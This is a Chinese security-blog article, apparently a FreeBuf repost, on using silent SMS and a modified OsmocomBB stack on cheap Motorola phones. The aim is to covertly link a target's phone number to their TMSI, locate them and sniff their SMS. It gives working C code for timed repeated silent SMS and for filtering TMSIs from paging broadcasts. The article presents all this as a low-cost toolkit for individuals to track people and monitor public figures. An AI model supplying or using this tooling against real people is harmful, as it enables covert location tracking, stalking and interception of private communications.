GSM Hacking:静默短信(Silent SMS)在技术侦查中的应用

原文链接:http://www.freebuf.com/articles/terminal/98848.html 原文作者:fl00der


0×00 前言

技术侦查时我们经常需要对目标人物进行定位,监听目标人物的电话和短信。 如何做到呢?首选当然是高大上的7号信令系统(SS7)。你需要一个能够访问的支持MAP(Mobile Application Part)的SS7信令接入点,然后,你理论上就可以侦听,拦截,伪造全球任何移动用户的电话和短信了,也可以获得该手机当前接入的Cell ID从而精确定位。因为全球的电信运营商都连在一张信令网上,除非某些运营商做了信令过滤,否则不管你从哪个国家接入SS7,命令在全球运营商那里都会得到忠实执行。目前国际上常见的SS7信令接入点的租用价格是每月几千美元起,对机构来说并不是很贵。

小科普:

SilentSMS:静默短信

信令系统#7(SS7:Signaling System #7)由 ITU-T 定义的一组电信协议,主要用于为电话公司提供局间信令。SS7 中采用的是公共信道信令技术(CCS:common-channel signaling),也就是带外(out-of-band)信令技术,即信令服务提供独立的分组交换网络。

MAP:Mobile Application Part (移动应用部分)七号信令的子集。用于连接分布式交换单元(MSC)和主数据库(HLR)。HLR能动态存储移动网络用户的当前位置和预置文件。在处理拨入呼叫的过程中需要使用HLR。当网络用户位置改变时,HLR也要相应更新,用户便由网络中的其他交换机服务。

MAP协议的主要内容包括移动性管理、呼叫业务处理、补充业务处理、短消息业务处理、操作维护和GPRS业务处理等。

MAP的作用

MAP是为完成移动台的自动漫游功能,在移动通信网络实体之间传递信息的信令。
MAP支持的业务有:
移动性业务,包括位置管理,切换,鉴权管理,国际移动设备设备管理,用户管理,故障恢复
操作与维护,包括用户跟踪,用户识别
呼叫处理
与补充业务相关的业务
短消息业务管理
网络请求的PDP上下文活动业务

但我们既不是国家机器,也不是土豪,我们只是一个普通的朝阳群众,怎么低成本的推动世界和平,保卫国家安全,以及对公众人物进行监督呢? 打开世界五大王牌情报组织之一朝阳群众的野战工具箱,我们会看到很多民间自制的情报工具,本文介绍其中的Slient SMS的低成本实现方法和简单应用。 其实,Silent SMS在各国执法部门都大量使用,即使他们同时也在使用SS7,比如柏林警方去年的发送数量就超过了10万。和SS7只能定位到基站不同,Silent SMS配合伪基站+三角定位法,开阔空间定位精度可以达到1米左右,实战中可以直接定位到广场上的某个人。这样即使目标人物使用了易容术,随身携带的手机也会不知不觉的告诉我们真相。

0×01 背景知识

手机号码(MSISDN)在移动通信网上是很少进行传输的。对于移动网络来说,区别不同手机的惟一ID是IMSI(International Mobile Subscriber Identity)。MSISDN是为了方便人类而做的一个IMSI在现实世界的映射。你打电话发短信时提交的是对方的MSISDN,移动网络收到你的请求后要把MSISDN映射回IMSI,然后才能处理。你接电话收短信时对方的MSISDN也是单独发送给你的,好让你能知道知道对方是谁。 而为了保护安全和隐私,IMSI在设计上也是尽量少的在网络上传输的,通常情况下只在首次Attach和越区切换位置更新时才需要向移动网络提交你的IMSI。当移动网络确认你的合法身份后会指派一个临时身份给你,在GSM网络里是TMSI(Temporary Mobile Subscriber Identity),在LTE里是S-TMSI(为了简化我们也把它称作TMSI),之后在需要身份识别的时候,都是用TMSI的。

小科普:

IMSI(International Mobile Subscriber Identity,国际移动用户识别码)用于在全球范围唯一标识一个移动用户。一个IMSI唯一标识一个移动用户,在全世界都是有效的。

无线网络覆盖的范围很大,如果IMSI在网络中传递时被不法分子获取,这个是非常危险的。所以需要采用另外一种号码临时代替IMSI在网络中进行传递,这就是TMSI(Temporary Mobile Subscriber Identity,临时移动用户标识)。采用TMSI来临时代替IMSI的目的为了加强系统的保密性,防止非法个人或团体通过监听无线路径上的信令窃取IMSI或跟踪用户的位置。

所以,在我们侦听移动通信时会发现,上行的通信请求,不管是发短信还是打通话,只能侦听到发起者的TMSI和接收者的MSISDN;而下行的通信,不管是来电话还是来短信,只能侦听到发起者的MSISDN和接收者的TMSI。这样,如果我们不能找出TMSI和MSISDN的一一对应关系,我们就没法区分出哪些短信和通话是指向我们的目标人物的。 而找出了TMSI和MSISDN的对应关系,也就能通过侦听知道目标手机当前连在哪个蜂窝基站,从而实现对目标人物的定位。

扩展阅读:

关于这里提到的定位的姿势可以看《从无线电角度揭秘定位劫持》一文的基站定位部分。

0×02 原理

当有新的Mobile Terminated Services,通常是短信或来电,要传送的时候,移动网络会发起Paging。目标手机守听时发现网络在呼叫自己的TMSI,就会向网络申请一个信道,申请成功后,手机转到该信道发送呼叫响应,网络回复该呼叫响应,然后经过鉴权、加密协商等流程后,网络开始向手机传送服务,这时手机才知道来的是电话还是短信,在收到一部分服务信息后,手机开始决定是否提示用户和如何提示用户,是来电话了还是收到短信了,是振铃还是震动等。 我们试图在不惊动目标人物的情况下找出TMSI和MSISDN的对应关系,依靠的就是Paging。根据以上流程我们可以看到,如果我们电话呼叫目标手机,在一个合适的时间点,即网络上已经广播了Paging信息,但目标手机还未振铃之前及时挂断,目标手机也是没有提示的,而我们却侦听到了一次Paging。如果能按照一定的时间间隔和多次重复这个过程,我们就能从侦听到的大量Paging广播中筛查出目标TMSI。问题在于,这个合适的时延比较难把握,而且不同运营商,甚至不同区域的网络还有差异,调校起来比较费事。这时,Silent SMS就成了我们的首选。 Silent SMS是一种特殊格式的短信,在短信报文头上设置特殊的标识位以后,接收者手机收到后不会有任何提示和反应,也不会存储短信内容,而是直接丢弃。不使用特殊技术手段无法发现手机收到了Silent SMS。向目标手机发送Silent SMS,我们会侦听到网络广播的Paging信息,但是不需要像电话呼叫那样顾虑时延和及时挂断的问题,目标手机上不会有任何提示。而且我们还可以在空中侦听到短信的完整内容,当侦听到我们自己构造的特定内容的短信可以帮我们进一步确认该TMSI就是我们的目标。 TMSI是在一个LAC(Location Area Code)/TA(Tracking Area)里有效的,每当进入一个新的LAC/TA,手机就会被网络指派一个新的TMSI。要找出的对应关系,必须侦听目标手机当前所在的LAC/TA。对我们有利的是,Paging也是在LAC/TA里有效的,除了LTE的Smart Paging。

0×03 低成本实现

朝阳群众的情报工具应该尽可能的便宜,所以我们使用开源软件+廉价设备的方式。我们优选的方案是OsmocomBB + Motorola C118/C139。 网上能找到国外黑客写的用Python调用USB短信猫发送Silent SMS,用Airprobe + RTL-SDR接收的源代码,但是硬件成本比我们的贵,最关键是代码比较散。

OsmocomBB:基于一套泄露的基带源代码重写的开源的GSM基带项目,只能支持TI Calypso基带处理器。被用来参考的那套泄露源代码不完整,只有90+%的源代码,部分连接库没有源代码,而且也缺少DSP的代码。OsmocomBB被设计成黑客的实验工具,而不是供普通用户使用的手机系统,为了方便编写和修改,其Layer 2和3是在PC上运行的。

Motorola C118/C139:玩GSM必备,天然支持跳频,便宜,淘宝只要7元,可大量购买,接在USB Hub上,实现多路短信收发。其中,C139是彩屏,且ROM大些,是有潜力改造成用于复杂GSM攻击或工程路测,且支持中文显示和输入的黑客手机的。

具体实现上,我们需要使用两部C118/C139手机,一部用来发送Silent SMS,另一部用来侦听PCH并记录正在呼叫的TMSI。 C118(左)和C139(右)兄弟合影:

1

用来将C118/C139连接到电脑的CP2102(USB串口转换器)及2.5mm音频插头:

2

0×04 如何发送Silent SMS

OsmocomBB里的mobile程序是工作在Layer 2-3,用来收发短信和接打电话的。我们就修改它来发送Silent SMS。其实,可以把C118/C139看做是最便宜的短信猫,而修改过的mobile程序就是短信群发软件。

构造Silent SMS

每个短信都有一个TP-Protocol-Identifier字段,只要设置为0×40就相当于告知接收手机忽略此短信,所以目标手机会正常接收到这条短信,但是之后既不会提示也不会保存这条短信,只是简单的丢弃掉。每个短信还有一个TP-Data-Coding-Scheme字段,如果把首字节设为0xC0,接收手机同样会忽略此短信。 我们只要在发短信之前,把对应的字段做好设置,发出的就是Silent SMS了。这两个字段可以都设置,也可以只设置一个。偶尔会碰到运营商过滤特殊格式短信的情况,这时候就需要具体试一下到底哪个有效。我自己到目前为止没遇到过滤的情况。

主要数据结构

为了按特定时序发送Silent SMS,我们需要一个定时器。设定好时间间隔,定时器就会被定时触发,然后调用发送函数去发送一条Silent SMS。

1
2
3
4
5
6
struct osmo\_timer\_list tick\_timer\_smsping;

struct {
int pid;
int dcs;
} silent\_sms;

主要源代码

vty\_interface.c

//新增控制台命令:silent,用于设置TP-PID和TP-DCS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
DEFUN(silent, silent\_cmd, "silent TP-PID TP-DCS",
"Set SMS messages header\\n"
"1 for 0x40, 0 for default\\n"
"1 for 0xC0, 0 for default\\n")
{
int pid;
int dcs;
if (argc >= 1) {
pid = atoi(argv\[0\]);
dcs = atoi(argv\[1\]);
if (pid) {
silent\_sms.pid = 1;
} else {
silent\_sms.pid = 0;
}
if (dcs) {
silent\_sms.dcs = 1;
} else {
silent\_sms.dcs = 0;
}
}
return CMD\_SUCCESS;
}

发送部分的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
if(smscnt == MAX\_SMS\_Count){//开始批量发送
tick\_timer\_smsping.cb = &sms\_ping; //初始化定时器
tick\_timer\_smsping.data = &timer\_step;
smscnt--;
ping\_sms\_sca = strdup(sms\_sca);
ping\_number = strdup(number);
ping\_sms\_txt = strdup(argv\_concat(argv, argc, 2));
call\_vty = vty;
sms\_send(ms, sms\_sca, number, argv\_concat(argv, argc, 2));
vty\_out(vty, "Slient SMS %d sent%s", smscnt, VTY\_NEWLINE);
}

gsm411\_sms.c

struct gsm\_sms \*sms\_from\_text(const char \*receiver, int dcs, const char \*text)
{
struct gsm\_sms \*sms = sms\_alloc();
if (!sms)
return NULL;
strncpy(sms->text, text, sizeof(sms->text)-1);
sms->reply\_path\_req = 0;
sms->status\_rep\_req = 0;
sms->ud\_hdr\_ind = 0;
if (silent\_sms.pid)
sms->protocol\_id = 0x40; /\* type 0 \*/
else
sms->protocol\_id = 0; /\* implicit \*/
if (silent\_sms.dcs)
sms->data\_coding\_scheme = 0xC0;
else
sms->data\_coding\_scheme = dcs;
strncpy(sms->address, receiver, sizeof(sms->address)-1);
/\* Generate user\_data \*/
sms->user\_data\_len = gsm\_7bit\_encode(sms->user\_data, sms->text);
return sms;
}

用来重复发送的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void sms\_ping(void \*data)
{
struct osmocom\_ms \*ms;
ms = get\_ms("1", call\_vty);
vty\_notify(ms, "ping sent");
if(smscnt == 0){
return 0;
}
sms\_send(ms, ping\_sms\_sca, ping\_number, ping\_sms\_txt);
smscnt--;
return 0;
}
static int gsm411\_sms\_report(struct osmocom\_ms \*ms, struct gsm\_sms \*sms,
uint8\_t cause)
{
vty\_notify(ms, NULL);
if (!cause){
vty\_notify(ms, "SMS %d to %s successfull\\n", smscnt, sms->address);
if(smscnt != 0)
osmo\_timer\_schedule(&tick\_timer\_smsping, 10, 0);//定时间隔10秒
}else
vty\_notify(ms, "SMS to %s failed: %s\\n", sms->address,
get\_value\_string(gsm411\_rp\_cause\_strs, cause));
return 0;

}

使用mobile的命令行发送Silent SMS:
3

使用WireShark侦听发送的短信,可以看到TP-PID和TP-DCS分别是0×40,0xC0,短信内容为“testing 1 2 3”:
4

0×05 如何筛选TMSI

OsmocomBB里的ccch_scan程序经常被大家用来侦听短信。我们修改它来筛选排查出可能的目标TMSI。 在开始发送Silent SMS的时候,就立刻启动ccch_scan记录所有Paging的TMSI。通常,从开始发短信,到空中出现Paging信息,最快3秒钟,多数情况6-7秒钟。繁忙的基站每秒广播20多次寻呼。所以我们把TMSI队列深度设为300是足够的,大约可记录从发送Silent SMS开始15秒内的所有被呼叫的TMSI,这300个里面一定有我们的目标的TMSI,通常是在前面开始部分。队列到300为止,我们就是在这300个里面找出来重复次数大于我们设定次数的TMSI并打印出来。

数据结构

1
2
3
4
struct \_tmsis\_ {
uint8\_ttmsi\[4\];
char cnt;
} tmsis\[300\];

列出TMSI的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void tmsi\_match(uint8\_t \*t)
{
if(app\_state.finding==1){
int i;
int f=0;
for(i=0; i < app\_state.tmsicnt; i++){
if(!memcmp(t, tmsis\[i\].tmsi, 4)) {
tmsis\[i\].cnt += 1;
f=1;
if(tmsis\[i\].cnt > app\_state.mincnt){
printf("Possible TMSI: #%d, \\t%s, %d times\\n", i, osmo\_hexdump(t,4), tmsis\[i\].cnt);
}
}
}
if((f==0)&&(app\_state.tmsicnt<300)){//队列深度
app\_state.tmsicnt += 1;
memcpy(tmsis\[i\].tmsi,t,4);
tmsis\[i\].cnt = 1;
printf("New TMSI:#%d, %s \\tTotal: %d\\n", i, osmo\_hexdump(t,4), app\_state.tmsicnt);
}
return;
}
if(!memcmp(t, app\_state.wanted\_tmsi, 4)) {
app\_state.tmsi\_matched = 1;
printf("TMSI Match %s\\n", osmo\_hexdump(t,4));
}
}

我们给ccch_scan新增加一个参数:-f paging次数。 国内不少地方为了提高接通率,当有Mobile Terminated Service要传递的时候是重复发出寻呼信息的,有的是Paging两次,多的甚至连续寻呼四次。这样如果你连续向目标手机发送10次短信,可能会侦听到20-40次Paging。所以你实战中你需要先侦听网络的PCH来以确定当地的设置情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static int l23\_cfg\_print\_help()
{
printf("\\nApplication specific\\n");
printf(" -k --kc KEY Key to use to try to decipher DCCHs\\n");
printf(" -t --tmsi TMSI Filter assignments with specified TMSI (paging only)\\n");
printf(" -f --countFilter paging TMSI\\n");
return 0;
}
static int l23\_cfg\_handle(int c, const char \*optarg)
{
switch (c) {
case 'k':
if (osmo\_hexparse(optarg, app\_state.kc, 8) != 8) {
fprintf(stderr, "Invalid Kc\\n");
exit(-1);
}
break;
case 't':
if (osmo\_hexparse(optarg, app\_state.wanted\_tmsi, 4) != 4) {
fprintf(stderr, "Invalid TMSI\\n");
exit(-1);
}
app\_state.finding = 0;
break;
case 'f':
app\_state.finding = 1;
app\_state.mincnt= atoi(optarg);
break;
default:
return -1;
}
return 0;
}

运行ccch_scan来开始筛选TMSI,我们要求程序列出Paging超过16次的TMSI:
5

同时显示发送和筛选两个窗口,有的TMSI随着每次短信发送有节奏的出现,很快有一个TMSI就引起了我们的注意:818003B5,随着不断的发送短信,还不到10次短信,我们已经可以确定目标TMSI就是它。而且可以看出当前网络每传递一次短信就侦听到4次Paging:
6

我们拿出目标手机来确认一下,果然是这个TMSI。注意,为了工作方便,朝阳群众大都随身携带这种已开启Net Monitor的Nokia 3110手机:
7

用WireShark来侦听目标手机接收到的短信:
8

用我修改过的ccch_scan来侦听并解码目标手机所在基站的下行短信:
9

0×06 后记

手机通信安全跨着通信和计算机两个专业领域,两者都精通的安全研究人员比较少,因而一直缺少成熟好用的攻击工具。要想玩好手机安全,一定要自己动手编程,打造自己的安全工具。 本文没有涉及LTE下的TMSI筛选和手机定位,但是Paging的原理类似,而且下行的数据报文传递前也会产生Paging信息,再加上运营商的2G/3G/4G是可以互操作的,因而可以利用的途径更多。惟一的问题是缺少基带开源的LTE手机,我们要玩LTE,就必须使用SDR,导致成本不够亲民。即使发送Silent SMS仍然使用C118/C139,侦听LTE通信也必须使用SDR。而且因为我国特殊的频段划分,LTE没有得到低端的黄金频段,基本集中在1900MHz和2600MHz,这样便宜的RTL-SDR也就无能为力了,玩LTE最差也要买个HackRF,但目前国产山寨HackRF质量还不稳定。。。 关于LTE下的玩法,未来找时间专文再探讨吧。